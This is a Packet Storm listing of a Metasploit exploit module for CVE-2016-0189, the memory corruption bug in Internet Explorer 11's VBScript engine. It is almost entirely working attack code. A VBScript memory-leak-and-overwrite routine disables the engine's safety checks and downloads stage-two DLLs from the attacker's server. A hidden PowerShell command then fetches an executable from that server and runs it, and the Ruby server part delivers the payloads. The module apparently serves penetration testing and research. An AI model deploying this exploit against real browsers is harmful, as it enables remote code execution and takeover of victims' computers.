Lucene search

K
packetstormTheoriPACKETSTORM:138193
HistoryAug 06, 2016 - 12:00 a.m.

Internet Explorer 11 VBScript Engine Memory Corruption

2016-08-0600:00:00
Theori
packetstormsecurity.com
168

0.973 High

EPSS

Percentile

99.8%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",  
'Description' => %q{  
This module exploits the memory corruption vulnerability (CVE-2016-0189)  
present in the VBScript engine of Internet Explorer 11.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Theori', # Original RE research and exploitation  
'William Webb <william_webb[at]rapid7.com>' # Metasploit module  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Windows 10 with IE 11', { } ]  
],  
'References' =>  
[  
[ 'CVE', '2016-0189' ],  
[ 'MSB', 'MS16-051' ]  
],  
'Arch' => ARCH_X86_64,  
'DisclosureDate' => "May 10 2016",  
'DefaultTarget' => 0))  
end  
  
def setup  
# @stage2html = Rex::Text.rand_text_alphanum(6)  
@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri  
@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri  
@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html  
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"  
@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"  
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }  
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }  
super  
end  
  
def exploit_html(req_uri)  
srvhost = datastore['SRVHOST']  
srvport = datastore['SRVPORT']  
  
template = <<-EOF  
<html>  
<head>  
<meta http-equiv="x-ua-compatible" content="IE=10">  
</head>  
<body>  
  
<script type="text/vbscript">  
Dim downloadFiles  
Dim cacheRegex  
Dim cacheFiles(3)  
  
Dim downloadState  
Dim pinTime  
  
Dim oFSO  
Dim oWS  
Dim shell  
  
function FindFile(path, regexFile)  
FindFile = ""  
For Each f in oFSO.GetFolder(path).Files  
If regexFile.Test(f.Name) Then  
FindFile = f.Name  
Exit For  
End If  
Next  
end function  
  
function SearchCache(path, regexFile)  
SearchCache = ""  
For Each fld in oFSO.GetFolder(path).SubFolders  
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then  
filename = FindFile(path & "\\" & fld.Name, regexFile)  
If filename <> "" Then  
SearchCache = path & "\\" & fld.Name & "\\" & filename  
Exit For  
End If  
'End If  
Next  
end function  
  
function loaddll()  
On Error Resume Next  
  
Set wshSystemEnv = oWS.Environment("Process")  
tmpDir = oFSO.GetSpecialFolder(2)  
  
tmpSysDir = tmpDir & "\\System32"  
tmpShellFile = tmpSysDir & "\\shell32.dll"  
oFSO.CreateFolder(tmpSysDir)  
oFSO.MoveFile cacheFiles(0), tmpShellFile  
  
mydllFile = tmpDir & "\\" & downloadFiles(1)  
oFSO.MoveFile cacheFiles(1), mydllFile  
wshSystemEnv("MyDllPath") = mydllFile  
  
If (UBound(downloadFiles) = 2) Then  
stage2File = tmpDir & "\\#{@pm_escape_html}.html"  
oFSO.MoveFile cacheFiles(2), stage2File  
wshSystemEnv("stage2file") = stage2File  
End If  
  
saveRoot = wshSystemEnv("SystemRoot")  
wshSystemEnv("SaveSystemRoot") = saveRoot  
wshSystemEnv("SystemRoot") = tmpDir  
Set shell = CreateObject("Shell.Application")  
  
If (UBound(downloadFiles) = 2) Then  
call tolocal()  
End If  
end function  
  
Sub OnDownloadDone()  
If InStr(userAgent, "NT 5.") > 0 Then  
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")  
cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"  
Else  
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")  
cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"  
End If  
  
Set regexFile = new regexp  
regexFile.Pattern = cacheRegex(downloadState)  
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)  
If cacheFiles(downloadState) = "" Then  
Exit Sub  
End If  
  
If downloadState = UBound(downloadFiles) Then  
loaddll()  
Else  
downloadState = downloadState + 1  
DoDownload()  
End If  
End Sub  
  
Sub DoDownload()  
pinTime = Now  
call getdll(downloadFiles(downloadState))  
End Sub  
  
Sub runshell()  
downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")  
cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")  
Set oFSO = CreateObject("Scripting.FileSystemObject")  
Set oWS = CreateObject("WScript.Shell")  
downloadState = 0  
DoDownload()  
End Sub  
  
</script>  
  
<script type="text/vbscript">  
Dim bl  
Dim plunge(32)  
Dim y(32)  
prefix = "%u4141%u4141"  
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"  
b = String(64000, "D")  
c = d & b  
x = UnEscape(c)  
  
Class ArrayWrapper  
Dim A  
  
Private Sub Class_Initialize  
ReDim Preserve AA(1, 2000)  
A = AA  
End Sub  
  
Public Sub Resize()  
ReDim Preserve A(1, 1)  
End Sub  
End Class  
  
Class Spray  
End Class  
  
  
Function getAddr (arg1, s)  
bl = Null  
Set bl = New ArrayWrapper  
  
For i = 0 To 32  
Set plunge(i) = s  
Next  
  
Set bl.A(arg1, 2) = s  
  
Dim addr  
Dim i  
For i = 0 To 31  
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then  
addr = strToInt(Mid(y(i), 3 + 4, 2))  
End If  
y(i) = Null  
Next  
  
If addr = Null Then  
document.location.href = document.location.href  
Return  
End If  
  
getAddr = addr  
End Function  
  
Function leakMem (arg1, addr)  
d = prefix & "%u0008%u4141%u4141%u4141"  
c = d & intToStr(addr) & b  
x = UnEscape(c)  
  
bl = Null  
Set bl = New ArrayWrapper  
  
Dim o  
o = bl.A(arg1, 2)  
  
leakMem = o  
End Function  
  
Sub overwrite (arg1, addr)  
d = prefix & "%u400C%u0000%u0000%u0000"  
c = d & intToStr(addr) & b  
x = UnEscape(c)  
  
bl = Null  
Set bl = New ArrayWrapper  
bl.A(arg1, 2) = CSng(0)  
End Sub  
  
Function exploit (arg1)  
Dim addr  
Dim csession  
Dim olescript  
Dim mem  
  
Set sp = New Spray  
addr = getAddr(arg1, sp)  
mem = leakMem(arg1, addr + 8)  
csession = strToInt(Mid(mem, 3, 2))  
mem = leakMem(arg1, csession + 4)  
olescript = strToInt(Mid(mem, 1, 2))  
overwrite arg1, olescript + &H174  
runshell()  
  
End Function  
  
Function triggerBug  
bl.Resize()  
  
Dim i  
For i = 0 To 32  
y(i) = Mid(x, 1, 24000)  
Next  
End Function  
</script>  
  
<script type="text/javascript">  
var userAgent = navigator.userAgent;  
var oReq;  
function getdll(downloadFile)  
{  
oReq = new XMLHttpRequest();  
oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);  
oReq.onreadystatechange = handler;  
oReq.send();  
}  
function handler()  
{  
if (oReq.readyState == 4 && oReq.status == 200) {  
OnDownloadDone();  
}  
}  
function tolocal()  
{  
location.href = "http://localhost:5555/#{@pm_escape_html}.html";  
}  
function strToInt(s)  
{  
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);  
}  
function intToStr(x)  
{  
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);  
}  
var o;  
o = {"valueOf": function () {  
triggerBug();  
return 1;  
}};  
setTimeout(function() {exploit(o);}, 50);  
</script>  
</body>  
</html>  
EOF  
  
template  
end  
  
def stage2_html(req_uri)  
  
template = <<-EOF  
<html>  
<head>  
<meta http-equiv="x-ua-compatible" content="IE=10">  
</head>  
<body>  
<script type="text/vbscript">  
Dim aw  
Dim plunge(32)  
Dim y(32)  
prefix = "%u4141%u4141"  
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"  
b = String(64000, "D")  
c = d & b  
x = UnEscape(c)  
  
Class ArrayWrapper  
Dim A()  
Private Sub Class_Initialize  
ReDim Preserve A(1, 2000)  
End Sub  
  
Public Sub Resize()  
ReDim Preserve A(1, 1)  
End Sub  
End Class  
  
Class Dummy  
End Class  
  
Function getAddr (arg1, s)  
aw = Null  
Set aw = New ArrayWrapper  
  
For i = 0 To 32  
Set plunge(i) = s  
Next  
  
Set aw.A(arg1, 2) = s  
  
Dim addr  
Dim i  
For i = 0 To 31  
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then  
addr = strToInt(Mid(y(i), 3 + 4, 2))  
End If  
y(i) = Null  
Next  
  
If addr = Null Then  
document.location.href = document.location.href  
Return  
End If  
  
getAddr = addr  
End Function  
  
Function leakMem (arg1, addr)  
d = prefix & "%u0008%u4141%u4141%u4141"  
c = d & intToStr(addr) & b  
x = UnEscape(c)  
  
aw = Null  
Set aw = New ArrayWrapper  
  
Dim o  
o = aw.A(arg1, 2)  
  
leakMem = o  
End Function  
  
Sub overwrite (arg1, addr)  
d = prefix & "%u400C%u0000%u0000%u0000"  
c = d & intToStr(addr) & b  
x = UnEscape(c)  
  
aw = Null  
Set aw = New ArrayWrapper  
aw.A(arg1, 2) = CSng(0)  
End Sub  
  
Function exploit (arg1)  
Dim addr  
Dim csession  
Dim olescript  
Dim mem  
  
Set dm = New Dummy  
addr = getAddr(arg1, dm)  
mem = leakMem(arg1, addr + 8)  
csession = strToInt(Mid(mem, 3, 2))  
mem = leakMem(arg1, csession + 4)  
olescript = strToInt(Mid(mem, 1, 2))  
overwrite arg1, olescript + &H174  
  
Set shObj = CreateObject("Wscript.shell")  
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")  
shObj.Run("%temp%\\#{@payload_exe}")  
  
End Function  
  
Function triggerBug  
aw.Resize()  
  
Dim i  
For i = 0 To 32  
y(i) = Mid(x, 1, 24000)  
Next  
End Function  
</script>  
  
<script type="text/javascript">  
function strToInt(s)  
{  
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);  
}  
function intToStr(x)  
{  
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);  
}  
var o;  
o = {"valueOf": function () {  
triggerBug();  
return 1;  
}};  
setTimeout(function() {exploit(o);}, 50);  
</script>  
</body>  
</html>  
  
EOF  
template  
end  
  
def on_request_uri(cli, request)  
# used for some debugging stuff  
ies = @ieshell  
ls = @localsrv  
pm = @pm_escape_html  
  
print_status("Received request: #{request.uri}")  
if request.uri =~ /.*#{ies}.*$/  
print_status("Sending stage two DLL ...")  
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
elsif request.uri =~ /.*#{ls}.*$/  
print_status("Sending local server DLL ...")  
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
elsif request.uri =~ /.*#{pm}.*$/  
rq = "#{get_resource.chomp('/')}"  
gm = stage2_html(rq)  
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
elsif request.uri =~ /.*#{@payload_uri}$/  
return if ((payload = regenerate_payload(cli)) == nil)  
print_status("Sending payload ...")  
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })  
else  
print_status("Sending main page ..")  
send_response(cli, exploit_html(request.uri))  
end  
end  
  
end  
  
`